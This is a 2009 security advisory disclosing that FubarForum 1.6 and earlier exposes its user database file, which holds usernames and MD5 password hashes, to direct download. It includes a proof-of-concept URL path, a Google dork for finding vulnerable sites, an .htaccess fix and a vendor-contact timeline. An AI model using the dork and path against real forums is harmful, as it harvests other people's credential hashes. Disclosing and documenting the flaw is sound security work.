[ECHO_ADV_107$2009] FubarForum <= 1.6 Critical File Disclosure Vulnerability Mar 17 2009 04:09PM
vuln e-rdc org
ECHO_ADV_107$2009

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[ECHO_ADV_107$2009] FubarForum <= 1.6 Critical File Disclosure Vulnerability

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Author : K-159

Date : March, 16 th 2009

Location : Jakarta, Indonesia

Web : http://e-rdc.org/v1/news.php?readmore=131

Critical Lvl : Moderate

Impact : Exposure of sensitive information

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : FubarForum

version : <= 1.6

Vendor : http://chaozz.nl/software/fubarforum/

Description :

FubarForum is a tiny flatfile (no MYSQL needed) messageboard / forum that is easy to install and use. It?s small (compressed around 60kb), but has all the features you might expect from a forum

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Vulnerability:

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Critical user.tsv file in db's folder are vulnerable to direct access to view 'critical' information about username and md5hash password from users.

Poc/Exploit:

~~~~~~~~~

http://www.example.com/[fubarforum_path]/db/user.tsv

Dork:

~~~~~

Google : "Powered by FubarForum v1.6 and chaozzDB v1.2"

Solution:

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- add .htaccess in folder db.

Timeline:

~~~~~~~~~

- 14 - 03 - 2009 bug found

- 14 - 03 - 2009 vendor contacted

- 15 - 03 - 2009 vendor response

- 16 - 03 - 2009 advisory release

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Shoutz:

~~~~~

~ ping - my dearest wife, zizou - my beloved son, i-eyes - my beloved daughter.

~ y3dips,the_day,Negatif,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,
az001,

the_hydra,neng chika, str0ke

~ scanners [at] SCAN-NUSANTARA and SCAN-ASSOCIATES

~ SK,Abond,pokley,cybertank, super_temon,whatsoever,b120t0,inggar,fachri,adi,rahmat,indra

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,cyb3rh
3b,cR4SH3R,ogeb,bagan,devsheed

~ dr188le,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,ghostblup,shamus,

kuntua, stev_manado,nofry,k1tk4t,0pt1c,k1ngk0ng

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ milw0rm.com, macaholic.info, unitiga.com, mac.web.id, indowebster.com

~ #aikmel #e-c-h-o @irc.dal.net

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Contact:

~~~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org

Homepage: http://www.e-rdc.org/

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